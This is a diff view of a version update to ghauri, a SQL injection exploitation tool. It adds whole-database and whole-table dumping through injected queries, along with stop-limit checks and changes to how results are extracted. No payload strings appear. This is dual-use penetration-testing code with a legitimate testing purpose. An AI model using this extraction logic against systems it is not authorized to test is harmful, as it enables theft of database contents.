     274 + if stop > total:
     275 + logger.warning(
     276 + f"--stop={stop} is greater then total count setting it to --stop={total}"
     277 + )
     278 + stop = total
     279 + else:
     280 + stop = total
    272 281   payloads_names = PAYLOADS_DBS_NAMES.get(backend)
    273 282   payload = None
    274 283   guess = self.__execute_expression(
    skipped 170 lines
    445 454   if total > 0:
    446 455   if not stop:
    447 456   stop = total
     457 + else:
     458 + if stop and stop > 0:
     459 + if stop > total:
     460 + logger.warning(
     461 + f"--stop={stop} is greater then total count setting it to --stop={total}"
     462 + )
     463 + stop = total
     464 + else:
     465 + stop = total
    448 466   payloads_names = PAYLOADS_TBLS_NAMES.get(backend)
    449 467   payloads_names = prepare_extraction_payloads(
    450 468   database=database,
    skipped 138 lines
    589 607   f"fetching number of columns for table '{mc}{table}{bw}' in database '{mc}{database}{bw}'"
    590 608   )
    591 609   payloads_count = PAYLOADS_COLS_COUNT.get(backend)
     610 + if backend == "Microsoft SQL Server":
     611 + table = table.replace("dbo.", "").replace("sys.", "")
    592 612   payloads_count = prepare_extraction_payloads(
    593 613   database=database, backend=backend, payloads=payloads_count, table=table
    594 614   )
    skipped 30 lines
    625 645   if total > 0:
    626 646   if not stop:
    627 647   stop = total
     648 + else:
     649 + if stop and stop > 0:
     650 + if stop > total:
     651 + logger.warning(
     652 + f"--stop={stop} is greater then total count setting it to --stop={total}"
     653 + )
     654 + stop = total
     655 + else:
     656 + stop = total
    628 657   payloads_names = PAYLOADS_COLS_NAMES.get(backend)
    629 658   payloads_names = prepare_extraction_payloads(
    630 659   database=database,
    skipped 184 lines
    815 844   if total > 0:
    816 845   if not stop:
    817 846   stop = total
     847 + else:
     848 + if stop and stop > 0:
     849 + if stop > total:
     850 + logger.warning(
     851 + f"--stop={stop} is greater then total count setting it to --stop={total}"
     852 + )
     853 + stop = total
     854 + else:
     855 + stop = total
    818 856   payloads_names = PAYLOADS_RECS_DUMP.get(backend)
    819 857   payloads_names = prepare_extraction_payloads(
    820 858   database=database,
    skipped 53 lines
    874 912   stop = total + 1 if stop == total else stop + 1
    875 913   while start < stop:
    876 914   __temp = []
     915 + is_user_ended = False
    877 916   is_interrupted = False
    878 917   for column_name in __columns:
    879 918   payloads = prepare_query_payload(
    skipped 35 lines
    915 954   logger.info("retrieved: %s" % (retval.result))
    916 955   __temp.append(retval.result)
    917 956   if not retval.ok and retval.error == "user_ended":
    918  - is_interrupted = True
     957 + is_user_ended = True
    919 958   break
    920 959   except KeyboardInterrupt:
    921 960   quest = logger.read_input(
    skipped 4 lines
    926 965   if quest == "n":
    927 966   is_interrupted = True
    928 967   break
     968 + if is_user_ended:
     969 + break
    929 970   if __temp:
    930 971   if len(__temp) == len(__columns):
    931 972   _results.append(__temp)
    skipped 21 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/extractor/common.py
    skipped 37 lines
    38 38   PAYLOADS_RECS_COUNT,
    39 39  )
    40 40   
    41  -from ghauri.common.lib import COMMON_STATEMENT, collections
     41 +from ghauri.common.lib import collections
    42 42   
    43 43   
    44 44  class GhauriCommon:
    skipped 25 lines
    70 70   "Response",
    71 71   ["ok", "error", "result", "payload"],
    72 72   )
    73  - retval = session.fetchall(
    74  - session_filepath=conf.session_filepath,
    75  - query="SELECT * FROM tbl_common WHERE `type`=?",
    76  - values=("banner",),
     73 + retval = ghauri_extractor.fetch_characters(
     74 + url=url,
     75 + data=data,
     76 + vector=vector,
     77 + parameter=parameter,
     78 + headers=headers,
     79 + base=base,
     80 + injection_type=injection_type,
     81 + payloads=PAYLOADS_BANNER.get(backend),
     82 + backend=backend,
     83 + proxy=proxy,
     84 + is_multipart=is_multipart,
     85 + timeout=timeout,
     86 + delay=delay,
     87 + timesec=timesec,
     88 + attack01=attack,
     89 + match_string=match_string,
     90 + not_match_string=not_match_string,
     91 + code=code,
     92 + text_only=text_only,
     93 + dump_type="banner",
    77 94   )
    78  - if retval:
    79  - retval = retval.pop()
    80  - retval = Response(ok=True, error="", result=retval.get("name"), payload="")
    81  - logger.info("resumed: '%s'" % (retval.result))
     95 + if retval.ok:
     96 + if retval.resumed:
     97 + logger.info("resumed: '%s'" % (retval.result))
     98 + else:
     99 + logger.info("retrieved: '%s'" % (retval.result))
    82 100   logger.success(f"banner: '{retval.result}'")
    83  - if not retval:
    84  - retval = ghauri_extractor.fetch_characters(
    85  - url=url,
    86  - data=data,
    87  - vector=vector,
    88  - parameter=parameter,
    89  - headers=headers,
    90  - base=base,
    91  - injection_type=injection_type,
    92  - payloads=PAYLOADS_BANNER.get(backend),
    93  - backend=backend,
    94  - proxy=proxy,
    95  - is_multipart=is_multipart,
    96  - timeout=timeout,
    97  - delay=delay,
    98  - timesec=timesec,
    99  - attack01=attack,
    100  - match_string=match_string,
    101  - not_match_string=not_match_string,
    102  - code=code,
    103  - text_only=text_only,
    104  - dump_type="banner",
    105  - )
    106  - if retval.ok:
    107  - logger.info("retrieved: '%s'" % (retval.result))
    108  - logger.success(f"banner: '{retval.result}'")
    109  - session.dump(
    110  - session_filepath=conf.session_filepath,
    111  - query=COMMON_STATEMENT,
    112  - values=(retval.result, "banner"),
    113  - )
    114  - else:
    115  - error = retval.error
    116  - message = f"Ghauri detected an error during data extraction..{error}"
    117  - logger.warning(f"{message}")
     101 + else:
     102 + error = retval.error
     103 + message = f"Ghauri detected an error during banner extraction..{error}"
     104 + logger.warning(f"{message}")
    118 105   return retval
    119 106   
    120 107   def fetch_current_user(
    skipped 22 lines
    143 130   "Response",
    144 131   ["ok", "error", "result", "payload"],
    145 132   )
    146  - retval = session.fetchall(
    147  - session_filepath=conf.session_filepath,
    148  - query="SELECT * FROM tbl_common WHERE `type`=?",
    149  - values=("current_user",),
     133 + retval = ghauri_extractor.fetch_characters(
     134 + url=url,
     135 + data=data,
     136 + vector=vector,
     137 + parameter=parameter,
     138 + headers=headers,
     139 + base=base,
     140 + injection_type=injection_type,
     141 + payloads=PAYLOADS_CURRENT_USER.get(backend),
     142 + backend=backend,
     143 + proxy=proxy,
     144 + is_multipart=is_multipart,
     145 + timeout=timeout,
     146 + delay=delay,
     147 + timesec=timesec,
     148 + attack01=attack,
     149 + match_string=match_string,
     150 + not_match_string=not_match_string,
     151 + code=code,
     152 + text_only=text_only,
     153 + dump_type="current_user",
    150 154   )
    151  - if retval:
    152  - retval = retval.pop()
    153  - retval = Response(ok=True, error="", result=retval.get("name"), payload="")
    154  - logger.info("resumed: '%s'" % (retval.result))
     155 + if retval.ok:
     156 + if retval.resumed:
     157 + logger.info("resumed: '%s'" % (retval.result))
     158 + else:
     159 + logger.info("retrieved: '%s'" % (retval.result))
    155 160   logger.success(f"current user: '{retval.result}'")
    156  - if not retval:
    157  - retval = ghauri_extractor.fetch_characters(
    158  - url=url,
    159  - data=data,
    160  - vector=vector,
    161  - parameter=parameter,
    162  - headers=headers,
    163  - base=base,
    164  - injection_type=injection_type,
    165  - payloads=PAYLOADS_CURRENT_USER.get(backend),
    166  - backend=backend,
    167  - proxy=proxy,
    168  - is_multipart=is_multipart,
    169  - timeout=timeout,
    170  - delay=delay,
    171  - timesec=timesec,
    172  - attack01=attack,
    173  - match_string=match_string,
    174  - not_match_string=not_match_string,
    175  - code=code,
    176  - text_only=text_only,
    177  - dump_type="current_user",
     161 + else:
     162 + error = retval.error
     163 + message = (
     164 + f"Ghauri detected an error during current user extraction..{error}"
    178 165   )
    179  - if retval.ok:
    180  - logger.info("retrieved: '%s'" % (retval.result))
    181  - logger.success(f"current user: '{retval.result}'")
    182  - session.dump(
    183  - session_filepath=conf.session_filepath,
    184  - query=COMMON_STATEMENT,
    185  - values=(retval.result, "current_user"),
    186  - )
    187  - else:
    188  - error = retval.error
    189  - message = f"Ghauri detected an error during data extraction..{error}"
    190  - logger.warning(f"{message}")
     166 + logger.warning(f"{message}")
    191 167   return retval
    192 168   
    193 169   def fetch_current_database(
    skipped 22 lines
    216 192   "Response",
    217 193   ["ok", "error", "result", "payload"],
    218 194   )
    219  - retval = session.fetchall(
    220  - session_filepath=conf.session_filepath,
    221  - query="SELECT * FROM tbl_common WHERE `type`=?",
    222  - values=("current_db",),
     195 + retval = ghauri_extractor.fetch_characters(
     196 + url=url,
     197 + data=data,
     198 + vector=vector,
     199 + parameter=parameter,
     200 + headers=headers,
     201 + base=base,
     202 + injection_type=injection_type,
     203 + payloads=PAYLOADS_CURRENT_DATABASE.get(backend),
     204 + backend=backend,
     205 + proxy=proxy,
     206 + is_multipart=is_multipart,
     207 + timeout=timeout,
     208 + delay=delay,
     209 + timesec=timesec,
     210 + attack01=attack,
     211 + match_string=match_string,
     212 + not_match_string=not_match_string,
     213 + code=code,
     214 + text_only=text_only,
     215 + dump_type="current_db",
    223 216   )
    224  - if retval:
    225  - retval = retval.pop()
    226  - retval = Response(ok=True, error="", result=retval.get("name"), payload="")
    227  - logger.info("resumed: '%s'" % (retval.result))
     217 + if retval.ok:
     218 + if retval.resumed:
     219 + logger.info("resumed: '%s'" % (retval.result))
     220 + else:
     221 + logger.info("retrieved: '%s'" % (retval.result))
    228 222   logger.success(f"current database: '{retval.result}'")
    229  - if not retval:
    230  - retval = ghauri_extractor.fetch_characters(
    231  - url=url,
    232  - data=data,
    233  - vector=vector,
    234  - parameter=parameter,
    235  - headers=headers,
    236  - base=base,
    237  - injection_type=injection_type,
    238  - payloads=PAYLOADS_CURRENT_DATABASE.get(backend),
    239  - backend=backend,
    240  - proxy=proxy,
    241  - is_multipart=is_multipart,
    242  - timeout=timeout,
    243  - delay=delay,
    244  - timesec=timesec,
    245  - attack01=attack,
    246  - match_string=match_string,
    247  - not_match_string=not_match_string,
    248  - code=code,
    249  - text_only=text_only,
    250  - dump_type="current_db",
     223 + else:
     224 + error = retval.error
     225 + message = (
     226 + f"Ghauri detected an error during current database extraction..{error}"
    251 227   )
    252  - if retval.ok:
    253  - logger.info("retrieved: '%s'" % (retval.result))
    254  - logger.success(f"current database: '{retval.result}'")
    255  - session.dump(
    256  - session_filepath=conf.session_filepath,
    257  - query=COMMON_STATEMENT,
    258  - values=(retval.result, "current_db"),
    259  - )
    260  - else:
    261  - error = retval.error
    262  - message = f"Ghauri detected an error during data extraction..{error}"
    263  - logger.warning(f"{message}")
     228 + logger.warning(f"{message}")
    264 229   return retval
    265 230   
    266 231   
    skipped 2 lines
  • ■ ■ ■ ■ ■
    ghauri/ghauri.py
    skipped 194 lines
    195 195   )
    196 196   logger.end("ending")
    197 197   exit(0)
    198  - retval = session.fetch_from_table(
    199  - session_filepath=conf.session_filepath, table_name="tbl_payload", cursor=False
    200  - )
    201  - if retval:
    202  - is_resumed = True
    203 198   for injection_type in list(injection_points.keys()):
    204 199   if custom_injection_in:
    205 200   question = "y"
    skipped 73 lines
    279 274   parameter=parameter,
    280 275   injection_type=injection_type,
    281 276   is_multipart=is_multipart,
    282  - is_resumed=is_resumed,
    283 277   techniques=techniques.upper(),
    284 278   is_json=is_json,
    285 279   )
    skipped 3 lines
    289 283   )
    290 284   possible_dbms = retval_check.possible_dbms
    291 285   is_connection_tested = retval_check.is_connection_tested
     286 + is_resumed = retval_check.is_resumed
    292 287   if not is_resumed:
    293 288   if custom_injection_in:
    294 289   custom_point = custom_injection_in[-1]
    skipped 330 lines
    625 620   self.__end(fetched=fetched)
    626 621   return response
    627 622   
    628  - def extract_tables(self, database="", start=0, stop=None):
     623 + def extract_tables(self, database="", start=0, stop=None, dump_requested=False):
    629 624   response = target_adv.fetch_tables(
    630 625   self.url,
    631 626   data=self.data,
    skipped 23 lines
    655 650   else:
    656 651   logger.error("unable to retrieve the table names for any database")
    657 652   print("\n")
    658  - self.__end(fetched=True)
     653 + if not dump_requested:
     654 + self.__end(fetched=True)
    659 655   return response
    660 656   
    661  - def extract_columns(self, database="", table="", start=0, stop=None):
     657 + def extract_columns(
     658 + self, database="", table="", start=0, stop=None, dump_requested=False
     659 + ):
    662 660   response = target_adv.fetch_columns(
    663 661   self.url,
    664 662   data=self.data,
    skipped 21 lines
    686 684   fetched = response.ok
    687 685   if fetched:
    688 686   logger.success("")
    689  - self.__end(fetched=fetched)
     687 + if not dump_requested:
     688 + self.__end(fetched=fetched)
    690 689   return response
    691 690   
    692  - def extract_records(self, database="", table="", columns="", start=0, stop=None):
     691 + def extract_records(
     692 + self,
     693 + database="",
     694 + table="",
     695 + columns="",
     696 + start=0,
     697 + stop=None,
     698 + dump_requested=False,
     699 + ):
    693 700   response = target_adv.dump_table(
    694 701   self.url,
    695 702   data=self.data,
    skipped 22 lines
    718 725   fetched = response.ok
    719 726   if fetched:
    720 727   logger.success("")
    721  - self.__end(database=database, table=table, fetched=fetched)
     728 + if not dump_requested:
     729 + self.__end(database=database, table=table, fetched=fetched)
    722 730   else:
    723  - self.__end(fetched=fetched)
     731 + if not dump_requested:
     732 + self.__end(fetched=fetched)
    724 733   return response
    725 734   
     735 + def dump_database(self, database="", start=0, stop=None, dump_requested=False):
     736 + retval_tables = self.extract_tables(
     737 + database=database,
     738 + start=start,
     739 + stop=stop,
     740 + dump_requested=dump_requested,
     741 + )
     742 + if retval_tables.ok:
     743 + for table in retval_tables.result:
     744 + retval_columns = self.extract_columns(
     745 + database=database,
     746 + table=table,
     747 + start=start,
     748 + stop=stop,
     749 + dump_requested=dump_requested,
     750 + )
     751 + if retval_columns.ok:
     752 + retval_dump = self.extract_records(
     753 + database=database,
     754 + table=table,
     755 + columns=",".join(list(retval_columns.result)),
     756 + start=start,
     757 + stop=stop,
     758 + dump_requested=dump_requested,
     759 + )
     760 + if retval_dump.ok:
     761 + self.__end(database=database, table=table, fetched=False)
     762 + self.__end(fetched=True)
     763 + 
     764 + def dump_table(
     765 + self, database="", table="", start=0, stop=None, dump_requested=False
     766 + ):
     767 + retval_columns = self.extract_columns(
     768 + database=database,
     769 + table=table,
     770 + start=start,
     771 + stop=stop,
     772 + dump_requested=dump_requested,
     773 + )
     774 + if retval_columns.ok:
     775 + retval_dump = self.extract_records(
     776 + database=database,
     777 + table=table,
     778 + columns=",".join(list(retval_columns.result)),
     779 + start=start,
     780 + stop=stop,
     781 + dump_requested=dump_requested,
     782 + )
     783 + if retval_dump.ok:
     784 + self.__end(database=database, table=table, fetched=False)
     785 + self.__end(fetched=True)
     786 + 
  • ■ ■ ■ ■ ■ ■
    ghauri/scripts/ghauri.py
    skipped 470 lines
    471 471   start=args.limitstart,
    472 472   stop=args.limitstop,
    473 473   )
     474 + if args.db and args.dump and not args.tbl and not args.cols:
     475 + target.dump_database(
     476 + database=args.db,
     477 + start=args.limitstart,
     478 + stop=args.limitstop,
     479 + dump_requested=True,
     480 + )
     481 + 
     482 + if args.db and args.tbl and args.dump and not args.cols:
     483 + target.dump_table(
     484 + database=args.db,
     485 + table=args.tbl,
     486 + start=args.limitstart,
     487 + stop=args.limitstop,
     488 + dump_requested=True,
     489 + )
    474 490   
    475 491   
    476 492  if __name__ == "__main__":
    skipped 2 lines
  • ■ ■ ■ ■
    setup.py
    skipped 4 lines
    5 5   
    6 6  setup(
    7 7   name="ghauri",
    8  - version="1.0.4",
     8 + version="1.0.5",
    9 9   description="An advanced SQL injection detection & exploitation tool.",
    10 10   classifiers=["Programming Language :: Python3"],
    11 11   author="Nasir Khan",
    skipped 28 lines
Please wait...
Page is in error, reload to recover